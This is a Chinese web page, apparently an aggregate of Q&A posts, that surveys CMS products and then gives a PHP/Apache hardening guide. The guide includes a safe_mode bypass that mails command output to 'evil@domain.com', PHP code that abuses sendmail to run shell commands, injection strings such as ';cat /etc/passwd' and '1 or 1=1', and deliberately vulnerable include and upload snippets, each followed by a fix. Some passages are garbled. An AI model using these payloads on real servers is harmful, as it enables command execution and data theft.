phpnuke,phpnukedownloads

http://www.itjxue.com  2023-01-14 15:50  来源:未知  点击次数: 

CMS 内容管理系统 是什么意思呀?主要是什么动能

分类: 电脑/网络 程序设计 其他编程语言

解析:

CMS(Content Management System),中文叫作整站系统、文章系统,大概2004以前,如果想进行网站内容管理,基本上都是靠手工维护,但千变万化的信息流,但没有好的程序支持,还继续靠手工完成是不可能的事,如果有一个好的系统来支撑你的网站,那将节省大量的人力物力,开发者就可能给客户一个软件包,可以用它定期人工修改网站。只要你配置安装好,你的编辑,在线记者,更新员只要定期更新数据,剩下的事就交给CMS去处理。

=== Asp ===

动易CMS管理系统,官方网站:asp163/

这套是国产AspCMS中非常强大的系统,从3.0的简单的一个文章系统到现在的2005的版本,一路走来,动易不断完善,而且也不断加强功能,包括个人版,学校版, *** 版,企业版,后台包括的功能,信息发布,类别管理,权限控制,信息采集,而且跟第三方的程序,比如论坛,商城(2005的已经自带了), blog可以完美结合,基本上可以满足一个中大型网站的要求,但Asp和Access的的局限性,还有本身功能Dll的限制,使得免费版差不多成鸡肋,

风讯 官方网站:foosun/

风讯的系统功能强大,自由度高,是现在人气比较高的系统之一,可以根据自己的想法做出一个网页从而建立一个有自我风格的网站,更新速度快,一直有新的版本出现,现在又开放采集、下载、投稿、图片整站管理系统,第三方整合等功能,开源是它最大特点,希望保持。然后缺点就是后台人性化差了一点,上手有点难度,而且连一套默认的模板都没有,因为自由度太高了,让一些新手更难上手,还有就是免费版的生成静态发布的效率不高。3.1已经出来一段时间了,愿各方面都更上一层楼。

新云网站管理系统 官方newasp/

一款Asp的CMS后起之秀,发现有不少的网站都在使用。由文章、下载、商城、留言、用户管理五大功能模块和广告、公告、连接、统计、采集、模板管理、数据库管理等多个通用模块组成,而且功能确实有一些值得称道的地方,不过又是DLL的,免费版有不少的限制,但对一个简单基本的网站来说,功能够用了。

乔客(asp) 官方网站:joekoe/

这个系统已经很久了,但好像一直存活在动易和风讯两者之间,现在3.0的Joekoe CMS出来了,但另我比较失望,相比免费版的1.2,功能是增强了,但也Dll,这个可能也是国产程序的一个特色罢了。它本身已经是一个融合度非常高的系统,有商城,新闻,下载,论坛,留言,影视,博客圈等,感觉有那么点WEB2.0 的味道,,不想怎么修改的朋友直接拿去就可以用了。

NB文章系统(asp) 官方:forum.nbarticle/default

现在最新的是v2.1 RC1 ,上手挺容易,后台很简洁,安全性能不错,发布效率比较高,当然想到同类型的,RSS不错,它也是将模板写入数据库,但修改还是蛮方便。不过这样相对来说功能是少了一些,而且官方就一个论坛技术支持,论坛的人气差了一点。

渐飞新闻出版系统(asp) 官方网站: xunt/

这个系统也有一段时日了,不过到现在还是1.1的版本,以前名头特别响,

不过主要针对的是商业客户,看客户演示,个个都像门户,但因为没免费版的支撑,市场也一直没做大。

大世纪(Asp) 官方网站:big/

很老的系统,差不多就算是个文章,新闻系统,

现在连官方都打不开了,这样的估计也没多少前景。

tsys信息发布系统 官方:tsyschina

非常遗憾 2.0刚刚出测试版,作者就好像人间蒸发一样消失了!不过对于一个免费开源,没有版权的CMS来说我们也没有什么可要求的!抛开强大,但可能不成熟(我没用过)的2.0不谈!单说1.1版!从 1.1就可以说他是ASP CMS中的老大了!在TSYS的各个版本中均没有出现过重大的安全漏洞而且对于目前1.1来说已经是很完善成熟的了!tsys和一般的Asp 的CMS不一样!他的功能并非由本身而定!而是根据使用者的能力而定!使用者越厉害 TSYS本身也可以变的更厉害!因为TSYS可以说是一个核心!而其他的东西和功能均需要使用者自己搞定!从这点来说!TSYS的功能可以说是无限的!但这也决定了TSYS不会流行起来!说白了只有高手使用TSYS才能把TSYS的优点发挥的淋漓尽致!可惜啊....

说到php的CMS,也跟Asp差不多,可以算是百花齐放。

PhpArtile 官方:21ds/

这个算是国内phpCms的祖宗了,PA由 PHP 语言开发, 使用 MySQL 数据库保存数据 ,

为中小型网站发表文章, 存放资料, 新闻发布提供一个完美的解决方案。

做了好几年了,3.0迟迟还在开发中,今年出了2.1火了一阵,又熄灭了,以前用的人挺多的,

现在基本上没落了

phpcms 官方:phpcms/

好像以前是9466Article的官方,本来9466做得挺好的,不知为什么突然zend加密了,

继承了9466的优点,上手,结构,提供插件接口,可自主开发插件,自主制作语言包,

自主设计模板风格,免费版可永久使用,功能还可以。

OKphp .okphp

同样加密的,免费版也不见怎么有人用,系统倒是开发了好久了,整合了论坛,blog,新闻,

分有企业版,门户版,还有免费的,看起来像老外的Nuke,个人感觉没多少特别之处。

美丽心雨 官方:xydw/

美丽心雨CMS是心雨动网独立开发制作的网站管理系统,基本上网站管理的功能有了,

从1.01到现在的1.4,官方的开发人员也一直在努力中。

DedeCMS 官方:dedecms/

这是一套令人爱憎分明的系统,首先它是国内一款开源的系统,2.x的时候功能都已经另它的fans为之疯狂,

非常灵活的定制,强大的功能,简洁的操作,但2.x的瓶颈问题:大数据处理,到3.0的时候可能会解决,

但3.0的一直跳票,迟迟不见发布,另很多人都非常失望,希望能在3.0的时候看到一个全新的Dedecms,

当然也支持开源产品。

Ss-cms 官方:ss-cms/

作者我见过,一个非常有活力的家伙,程序跟他一样,国产的开源系统,

生成静态,信息采集,文章和下载集成,

但作者都是出于兴趣爱好开发,1.0出来后就不见踪影了,好像现在在搞书库

随意Cmsez CMS 官方:cmsez/

程序的作者和Ss-cms的作者是好朋友,他也是出于个人爱好做这个,而且主要面向企业用户,

Cmsez集成了丰富的功能模块,colorbird/(七色?...??型客户,

看七色鸟,你或许可以知道他的作品如何了。

CMSware 官方:cmsware/

一个非常不错的CMS系统,比较看好的他的后台操作简介,一些新技术,比如Ajax的应用,Wap的功能,

还有它的PSN的发布,节点和模块的定制,,自定义模型,数据库字段,

率先引进的工作流的概念,更多的发布自由度,非常强大的模板体系,

确实处处体现了自由的思想,让您体验自由管理的非凡感受.

Ecms 帝国网站管理系统 官方:phome/

可以说这个是最让我值得写的东西,作者wm_chief是个超人,偶像啊

官方的title里面是 在这里只有原创,那家伙也是疯子,

比如数据库管理,论坛,新闻,下载,flash,域名交易系统等,

还包括JSP的版本,都是自己一个人写,还有一个人搞定后期服务,客户支持,产品宣传。

还要每天抽时间灌水AD,ECMS的功能非常多,包括下载,flash,商城,图片,新闻,友情链接,广告管理等,

比如一些远程发布,刷新效率,类别管理,权限细分,万能的论坛接口,信息采集,附件管理等这些都是Ecms特别的亮点,

而且免费版也不错,作者WC也非常虚心接受客户的建议,

基本上任何一个小的功能,都力求做到最好,

他明白用户的需求,一切能从用户本身出发的系统才是好的系统,

3.6已经出来了,而且下一个版本可能会结合EXE软件发布,刷新的功能,让我们拭目以待。

ecms的典型客户 china

.Net

动网新闻(asp)

最新的4.X也出来了,也是DLL的,不过系统是.NET的,不过我个人不趋向使用DLL的系统,

运行速度快,效率高,安全做足。

不过以前3.X的没有Dll,感觉也蛮好的,

缺点就是风格改起来不容易。

现在加密了,反而能更快上手,不过这样可以定制的地方就少了。

还有一个倒奶CMS,也是的,不见什么特别之处,一笔带过

JSP

大概有这些:

Netark CMS

方正翔宇CMS

开源的Magnolia

Magnolia CMS

不过JSP的应用门槛对我们个人用户来说,有点高,也不想多提

当然还有一些系统比如说,Asp的国产FeitecCMS ,WpsCms等,国外的FullXML,php的国产有MePhp,天下站长php等,

都没见多少特色,不用也罢。

TurboCMS 这样只面向企业用户,几十万的系统,我们也不用考虑。

Struts中文版,Spring 开源系统,Gpower CMS,还有Java的 Ion,opencms,Jboss Nuke等老外做的,

国外的php的比如phpnuke,phppost,还有非常昂贵的phpcow,Bitrix Site Manager-CMS(99),

比较廉价的Subdreamer,koobi CMS,ActiveKB团队的ArticleLive NX,newsphp

还有免费的Xoops,功能繁多的玩意,Mambo这样的开源系统,还有Mambo的变种LimboCMS,Mamhoo 。

不符合国情的,在国内也没见流行

还有国外CMS的大全:bbs.china/t602 自己有空去翻翻

如果要比较老外CMS的也可以进去看看:bbs.china/t5429 直接选择2-10项,,有详细的列表说。

现在每个CMS功能介绍上都会说自己的产品如何强大,比如说什么模板体系如何好,

缓存技术如何高明,刷新效率,负载容量如何强,操作如何如何简单,容易上手,跟第三方无缝结合,还有功能模块的如何丰富,生成静态发布,信息采集……

吹牛谁都会,大家都会写,关键是客户如何认为,反正一句话,适合自己的就是最好的。

很长时间以来,我一直在寻找一个优秀的CMS(Content Management System 内容管理系统)作为自己网站的核心系统。为此我专门研究过postnuke、Xoops等一些基于LAMP架构的CMS,还研究过基于Java的OpenCMS和基于J2EE架构的JBoss的Nukes。OpenCMS是一个非常不错的系统,只可惜架构与自己的方向不符,而且需要大量的二次开发工作,只好放弃。这些CMS系统或多或少都有让自己很不满意的地方,我也并不想耗费太多的精力自己来开发一套,网站的计划甚至一度搁置了下来,直到我看到了eZ publish。

找到eZ publish还是偶然看到php上左侧的eZ Systems的链接,ez的网址是ez.no,一个挪威的公司开发的系统,试用后我得出了结论,它就是我一直在寻找的东西。

在CMS选型的过程中我经常的问自己,什么才是好的CMS?

现在要我回答这个问题的话,我会说适合自己需要的就是好的系统。因为这期间经历了太多的考虑或者说犹豫,有时候甚至是痛苦的。

首先是语言的选择,是基于Java的还是PHP的呢?因为我本人以前是从事Java的开发工作,钟情于Java优美的语言风格和架构,所以一度考虑采用OpenCMS,而且OpenCMS号称可以承受很大强度的访问量,这听起来似乎很诱人。然而我在研究它的过程中发现OpenCMS复杂且庞大,文档过时,需要花费大量的精力进行二次开发,作为业余时间搞网站的我们来说的确没有这个精力,于是只好放弃。现在要我回头看这个问题,我认为我的选择是正确的,选择CMS要考虑到自身的二次开发和日后维护的能力与精力耗费以及网站的业务需要,选择开发维护快速方便和自己也比较熟悉的的LAMP架构已经能适应我网站的需要。

其次,在基于LAMP架构的CMS系统中进行横向比较时,优劣比较明显。postnuke与Xoops这类CMS应该说十分的简单易用,基本上不需要做什么二次开发,基础功能就可以满足一般的需要。

而eZ publish相比起来要专业和庞大的多,它有自己专有的核心库和模版语言,面向对象的思想在eZ里体现的十分明显,甚至在它的配置文件中都有体现,内容与形式的分离做得相当好,扩展方便。而且它本身自带有article、gallery、webshop和forum等这些我所需要的功能,不需要再二次开发,十分的方便。而且在ez.no上有关于eZ publish的详细开发和使用文档可供参考。

eZ publish是eZ System公司发布的,专业的公司保证了系统以后的升级与维护的持续性,这一切都是我选择eZ的理由。

在整个CMS选型直到确定下eZ publish后,我发现这个过程持续时间是漫长而又痛苦的。经历了许多的波折,但也的确是值得的,毕竟CMS是整个网站的核心,很庆幸有eZ publish的存在而且我也发现了它。

一个好消息,eZ publish3.5近两天就会推出最终版了,而我的两个网站webservices与o2也将陆续推出。首先在12月初推出的将是关于LAMP与网站建设的技术性网站webservices,是基于eZ publish CMS的网站,届时会有更多关于LAMP与开源项目的技术文章,敬请大家留意。

随着BLOG程序的普及,越来越多的普通用户开始了解或者接触到CMS(网站内容管理系统)这一概念。BLOG做为一种相对简单的内容管理系统,实 际上向更多的普通网民普及了网站后面的基本动态技术。我相信将来会有越来越多的人会不满足于只用BLOG来书写和表达,会有更多的人将会应用到较为复杂的 多人参与型CMS系统,这会与网络发展的去中心化趋势有关,一个中小型的,以一个或者几个人创造为主,大量读者松散参与的网站,会比中心化垄断型的网站更 具有活力。同时,它也使创造者的利益得到更加合理的体现。现在一个好的,内容专一又专业的小网站,很容易会得到足够的流量,仅仅通过GOOGLE类似的广 告就可以维持。

这个过程中一个决定性的因素就是网站构建技术和网站本身的服务内容之间的分离。几年前,在BLOGGER之 前,要想在网络上顺利的发表,还真的需要知道一点技术,而现在,大多数天天书写着BLOG的人,都是没有任何技术背景的普通用户。随着开源CMS项目如火 如茶的发展趋势,加上未来主机托管或者虚拟主机租用费用的不断降低,一个不具备专业网络技术知识的人,都可以轻易的建立自己的网站,如果说这几年BLOG 的发展解放了普通民众的发言权,这种功能更为复杂的CMS系统的发展,将会促使那些更加会创造,会关心别的用户的需求的人的创造得到利益上的回报。知识有 价,但会是更合理的方式。

甚至,可以预言,这可能会是一轮新的去中心化的开始,即中小型网站对大型内容门户的蚕食的开始。内容是互联网的生命,内容管理系统将那些深藏在用户 内心深处的想法流畅的表达出来,从而使整个网络充满活力。其实你稍稍想一想就可以发现,这本身并不是什么“蚕食”,因为这些内容门户才是内容事实上的掠夺 者,越来越多的报纸对新浪等的“海量”转载产生不满只是这个事实的冰山一角。

将来转载型的网站的重要性一定会不断降低,除非它在这个过程中创造了新的对用户有利的价值,随着GOOGLE算法的改进,将来出现在搜索结果首页的东西一定是那些用户最想需要的东西,而且是一定是那些创造者的网页。

所以现在很关注CMS系统的情况,正好,OPENSOURCE CMS进行了一个最佳网站内容管理系统的投票评选,不如就从这里入手去探寻CMS系统的情况。

现在排在前5名,也就是最终入围项目的名单是:

Drupal

e107

Joomla!

Plone

Xoops

接下来就准备把这几个东西一一试用一下。显然这些最受欢迎的东西并不一定能够代表最有创造性的想法,一定有更多的想法隐藏在那些不为人关注的项目中,不过,这应该是能够代表潮流的东西。

php安全配置 如何配置使其更安全

一、Web服务器安全

PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:

[mail function]

; For Win32 only.

SMTP = localhost

; For Win32 only.

sendmail_from = me@localhost.com

都是针对Win32平台,所以需要在chroot环境下调整好sendmail。

二、PHP本身问题

1、远程溢出

PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高:

2、远程拒绝服务

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。

3、safe_mode绕过漏洞

还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:

? mail("foo@bar,"foo","bar","",$bar); ?

执行如下的URL:

;/usr/bin/id|mail evil@domain.com

这将id执行的结果发送给evil@domain.com。

对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:

?

# 注意,下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样

$script="/tmp/script123";

$cf="/tmp/cf123";

$fd = fopen($cf, "w");

fwrite($fd, "OQ/tmp

Sparse=0

R$*" . chr(9) . "$#local $@ $1 $: $1

Mlocal, P=/bin/sh, A=sh $script");

fclose($fd);

$fd = fopen($script, "w");

fwrite($fd, "rm -f $script $cf; ");

fwrite($fd, $cmd);

fclose($fd);

mail("nobody", "", "", "", "-C$cf");

?

还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。

三、PHP本身的安全配置

PHP的配置非常灵活,可以通过php.ini, httpd.conf, .htaccess文件(该目录必须设置了AllowOverride All或Options)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。

如果配置选项是唯一PHP_INI_SYSTEM属性的,必须通过php.ini和httpd.conf来修改,它们修改的是PHP的Master值,但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效,httpd.conf里设置的选项是对该定义的目录下所有脚本生效。

如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置,也可以通过在脚本程序自身用ini_set()函数设定,它们修改的是Local值,改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效,ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同,可以用如下命令查找当前源代码的main.c文件得到所有的选项,以及它的属性:

# grep PHP_INI_ /PHP_SRC/main/main.c

在讨论PHP安全配置之前,应该好好了解PHP的safe_mode模式。

1、safe_mode

safe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.ini或httpd.conf来设置。要启用safe_mode,只需修改php.ini:

safe_mode = On

或者修改httpd.conf,定义目录:

Directory /var/www

Options FollowSymLinks

php_admin_value safe_mode 1

/Directory

重启apache后safe_mode就生效了。启动safe_mode,会对许多PHP函数进行限制,特别是和系统相关的文件打开、命令执行等函数。

所有操作文件的函数将只能操作与脚本UID相同的文件,比如test.php脚本的内容为:

?include("index.html")?

几个文件的属性如下:

# ls -la

total 13

drwxr-xr-x 2 root root 104 Jul 20 01:25 .

drwxr-xr-x 16 root root 384 Jul 18 12:02 ..

-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html

-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php

在浏览器请求test.php会提示如下的错误信息:

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

如果被操作文件所在目录的UID和脚本UID一致,那么该文件的UID即使和脚本不同也可以访问的,不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这个用户最好就只作这个用途,绝对禁止使用root做为php脚本的属主,这样就达不到safe_mode的效果了。

如果想将其放宽到GID比较,则打开 safe_mode_gid可以考虑只比较文件的GID,可以设置如下选项:

safe_mode_gid = On

设置了safe_mode以后,所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序,而且shell_exec、`ls -l`这种执行命令的方式会被禁止。如果确实需要调用其它程序,可以在php.ini做如下设置:

safe_mode_exec_dir = /usr/local/php/exec

然后拷贝程序到该目录,那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。

safe_mode_include_dir string

当从此目录及其子目录(目录必须在 include_path 中或者用完整路径来包含)包含文件时越过 UID/GID 检查。

从 PHP 4.2.0 开始,本指令可以接受和 include_path 指令类似的风格用分号隔开的路径,而不只是一个目录。

指定的限制实际上是一个前缀,而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”,如果它们存在。如果您希望将访问控制在一个指定的目录,那么请在结尾加上一个斜线,例如:“safe_mode_include_dir = /dir/incl/”。

safe_mode_allowed_env_vars string

设置某些环境变罧赡苁乔痹诘陌踩?笨凇1局噶畎??幸桓龆汉欧指舻那白毫斜怼T诎踩?J较拢?没е荒芨谋淠切┟?志哂性谡饫锾峁┑那白旱幕肪潮淞俊D?锨榭鱿拢?没е荒苌柚靡?PHP_ 开头的环境变量(例如 PHP_FOO = BAR)。

注: 如果本指令为空,PHP 将使用户可以修改任何环境变量!

safe_mode_protected_env_vars string

本指令包含有一个逗号分隔的环境变量的列表,最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。

虽然safe_mode不是万能的(低版本的PHP可以绕过),但还是强烈建议打开安全模式,在一定程度上能够避免一些未知的攻击。不过启用safe_mode会有很多限制,可能对应用带来影响,所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP手册。

讨论完safe_mode后,下面结合程序代码实际可能出现的问题讨论如何通过对PHP服务器端的配置来避免出现的漏洞。

2、变量滥用

PHP默认register_globals = On,对于GET, POST, Cookie, Environment, Session的变罧梢灾苯幼⒉岢扇?直淞俊K?堑淖⒉崴承蚴荚ariables_order = "EGPCS"(可以通过php.ini修改),同名变量variables_order右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击:

?

//test_1.php

if ($pass == "hello")

$auth = 1;

if ($auth == 1)

echo "some important information";

else

echo "nothing";

?

攻击者只需用如下的请求就能绕过检查:

这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如phpnuke的远程文件拷贝漏洞

PHP-4.1.0发布的时候建议关闭register_globals,并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量,必需通过数组变量来存取。PHP-4.2.0发布的时候,php.ini默认配置就是register_globals = Off。这使得程序使用PHP自身初始化的默认值,一般为0,避免了攻击者控制判断变量。

解决方法:

配置文件php.ini设置register_globals = Off。

要求程序员对作为判断的变量在程序最开始初始化一个值。

3、文件打开

极易受攻击的代码片断:

?

//test_2.php

if (!($str = readfile("$filename"))) {

echo("Could not open file: $filenameBR\n");

exit;

}

else {

echo $str;

}

?

由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd:

如下请求可以读php文件本身:

PHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。

解决方法:

如非特殊需要,把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子:

Directory /usr/local/apache/htdocs

php_admin_value open_basedir /usr/local/apache/htdocs

/Directory

重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了,否则PHP就会报错:

Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

使用safe_mode模式也能避免这种问题,前面已经讨论过了。

4、包含文件

极易受攻击的代码片断:

?

//test_3.php

if(file_exists($filename))

include("$filename");

?

这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:

如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件,的内容是?passthru("ls /etc")?,那么如下的请求就可以在目标主机执行命令ls /etc:

攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。

对于另外一种形式,如下代码片断:

?

//test_4.php

include("$lib/config.php");

?

攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令:

PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。

解决方法:

要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。

如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件:

allow_url_fopen = Off

重启apache。

5、文件上传

php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录(默认是系统的临时目录,如:/tmp)里的一个类似phpxXuoXG的随机临时文件,程序执行结束,该临时文件也被删除。PHP给上传的文件定义了四个变量:(如form变量名是file,而且register_globals打开)

$file #就是保存到服务器端的临时文件(如/tmp/phpxXuoXG )

$file_size #上传文件的大小

$file_name #上传文件的原始名称

$file_type #上传文件的类型

推荐使用:

$HTTP_POST_FILES[file][tmp_name]

$HTTP_POST_FILES[file][size]

$HTTP_POST_FILES[file][name]

$HTTP_POST_FILES[file][type]

这是一个最简单的文件上传代码:

?

//test_5.php

if(isset($upload) $file != "none") {

copy($file, "/usr/local/apache/htdocs/upload/".$file_name);

echo "文件".$file_name."上传成功!点击a href=\"$PHP_SELF\"继续上传/a";

exit;

}

?

html

head

title文件上传/title

meta http-equiv="Content-Type" content="text/html; charset=gb2312"

/head

body bgcolor="#FFFFFF"

form enctype="multipart/form-data" method="post"

上传文件:

input type="file" name="file" size="30"

input type="submit" name="upload" value="上传"

/form

/body

/html

这样的上传代码存在读取任意文件和执行命令的重大问题。

下面的请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/test(注意:这个目录必须nobody可写)下的attack.txt文件里:

... ile_name=attack.txt

然后可以用如下请求读取口令文件:

攻击者可以把php文件拷贝成其它扩展名,泄漏脚本源代码。

攻击者可以自定义form里file_name变量的值,上传覆盖任意有写权限的文件。

攻击者还可以上传PHP脚本执行主机的命令。

解决方法:

PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数,可以检查操作的文件是否是用户上传的文件,从而避免把系统文件拷贝到web目录。

使用$HTTP_POST_FILES数组来读取用户上传的文件变量。

严格检查上传变量。比如不允许是php脚本文件。

把PHP脚本操作限制在web目录可以避免程序员使用copy函数把系统文件拷贝到web目录。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里upload_tmp_dir的值。

把PHP脚本用phpencode进行加密,避免由于copy操作泄漏源码。

严格配置文件和目录的权限,只允许上传的目录能够让nobody用户可写。

对于上传目录去掉PHP解释功能,可以通过修改httpd.conf实现:

Directory /usr/local/apache/htdocs/upload

php_flag engine off

#如果是php3换成php3_engine off

/Directory

重启apache,upload目录的php文件就不能被apache解释了,即使上传了php文件也没有问题,只能直接显示源码。

6、命令执行

下面的代码片断是从PHPNetToolpack摘出,详细的描述见:

?

//test_6.php

system("traceroute $a_query",$ret_strs);

?

由于程序没有过滤$a_query变量,所以攻击者可以用分号来追加执行命令。

攻击者输入如下请求可以执行cat /etc/passwd命令:

;cat /etc/passwd

PHP的命令执行函数还有system(), passthru(), popen()和``等。命令执行函数非常危险,慎用。如果要使用一定要严格检查用户输入。

解决方法:

要求程序员使用escapeshellcmd()函数过滤用户输入的shell命令。

启用safe_mode可以杜绝很多执行命令的问题,不过要注意PHP的版本一定要是最新的,小于PHP-4.2.2的都可能绕过safe_mode的限制去执行命令。

7、sql_inject

如下的SQL语句如果未对变量进行处理就会存在问题:

select * from login where user=$user and pass=$pass

攻击者可以用户名和口令都输入1 or 1=1绕过验证。

不过幸亏PHP有一个默认的选项magic_quotes_gpc = On,该选项使得从GET, POST, COOKIE来的变量自动加了addslashes()操作。上面SQL语句变成了:

select * from login where user=1\ or 1=\1 and pass=1\ or 1=\1

从而避免了此类sql_inject攻击。

对于数字类型的字段,很多程序员会这样写:

select * from test where id=$id

由于变量没有用单引号扩起来,就会造成sql_inject攻击。幸亏MySQL功能简单,没有sqlserver等数据库有执行命令的SQL语句,而且PHP的mysql_query()函数也只允许执行一条SQL语句,所以用分号隔开多条SQL语句的攻击也不能奏效。但是攻击者起码还可以让查询语句出错,泄漏系统的一些信息,或者一些意想不到的情况。

解决方法:

要求程序员对所有用户提交的要放到SQL语句的变量进行过滤。

即使是数字类型的字段,变量也要用单引号扩起来,MySQL自己会把字串处理成数字。

在MySQL里不要给PHP程序高级别权限的用户,只允许对自己的库进行操作,这也避免了程序出现问题被 SELECT INTO OUTFILE ... 这种攻击。

8、警告及错误信息

PHP默认显示所有的警告及错误信息:

error_reporting = E_ALL ~E_NOTICE

display_errors = On

在平时开发调试时这非常有用,可以根据警告信息马上找到程序错误所在。

正式应用时,警告及错误信息让用户不知所措,而且给攻击者泄漏了脚本所在的物理路径,为攻击者的进一步攻击提供了有利的信息。而且由于自己没有访问到错误的地方,反而不能及时修改程序的错误。所以把PHP的所有警告及错误信息记录到一个日志文件是非常明智的,即不给攻击者泄漏物理路径,又能让自己知道程序错误所在。

修改php.ini中关于Error handling and logging部分内容:

error_reporting = E_ALL

display_errors = Off

log_errors = On

error_log = /usr/local/apache/logs/php_error.log

然后重启apache,注意文件/usr/local/apache/logs/php_error.log必需可以让nobody用户可写。

9、disable_functions

如果觉得有些函数还有威胁,可以设置php.ini里的disable_functions(这个选项不能在httpd.conf里设置),比如:

disable_functions = phpinfo, get_cfg_var

可以指定多个函数,用逗号分开。重启apache后,phpinfo, get_cfg_var函数都被禁止了。建议关闭函数phpinfo, get_cfg_var,这两个函数容易泄漏服务器信息,而且没有实际用处。

10、disable_classes

这个选项是从PHP-4.3.2开始才有的,它可以禁用某些类,如果有多个用逗号分隔类名。disable_classes也不能在httpd.conf里设置,只能在php.ini配置文件里修改。

11、open_basedir

前面分析例程的时候也多次提到用open_basedir对脚本操作路径进行限制,这里再介绍一下它的特性。用open_basedir指定的限制实际上是前缀,不是目录名。也就是说 "open_basedir = /dir/incl" 也会允许访问 "/dir/include" 和 "/dir/incls",如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜线结束路径名。例如:"open_basedir = /dir/incl/"。

可以设置多个目录,在Windows中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为Apache模块时,父目录中的open_basedir路径自动被继承。

四、其它安全配置

1、取消其它用户对常用、重要系统命令的读写执行权限

一般管理员维护只需一个普通用户和管理用户,除了这两个用户,给其它用户能够执行和访问的东西应该越少越好,所以取消其它用户对常用、重要系统命令的读写执行权限能在程序或者服务出现漏洞的时候给攻击者带来很大的迷惑。记住一定要连读的权限也去掉,否则在linux下可以用/lib/ld-linux.so.2 /bin/ls这种方式来执行。

如果要取消某程如果是在chroot环境里,这个工作比较容易实现,否则,这项工作还是有些挑战的。因为取消一些程序的执行权限会导致一些服务运行不正常。PHP的mail函数需要/bin/sh去调用sendmail发信,所以/bin/bash的执行权限不能去掉。这是一项比较累人的工作,

2、去掉apache日志其它用户的读权限

apache的access-log给一些出现本地包含漏洞的程序提供了方便之门。通过提交包含PHP代码的URL,可以使access-log包含PHP代码,那么把包含文件指向access-log就可以执行那些PHP代码,从而获得本地访问权限。

如果有其它虚拟主机,也应该相应去掉该日志文件其它用户的读权限。

当然,如果你按照前面介绍的配置PHP那么一般已经是无法读取日志文件了。

php mysql apache 集成环境有哪些

1.AppServ (推荐,简洁精简)

当前的两个版本是: 2.5.10 2.6.0 (点击版本号下载)

  AppServ是PHP网页架站工具组合包,泰国的作者将一些网路上免费的架站资源重新包装成单一的安装程序,以方便初学者快速完成架站,AppServ 所包含的软件有:Apache、Apache Monitor、PHP、MySQL、PHP-Nuke、phpMyAdmin。适合初学者

AppServ 2.5.10组件版本:

Apache 2.2.8

PHP 5.2.6

MySQL 5.0.51b

phpMyAdmin-2.10.3

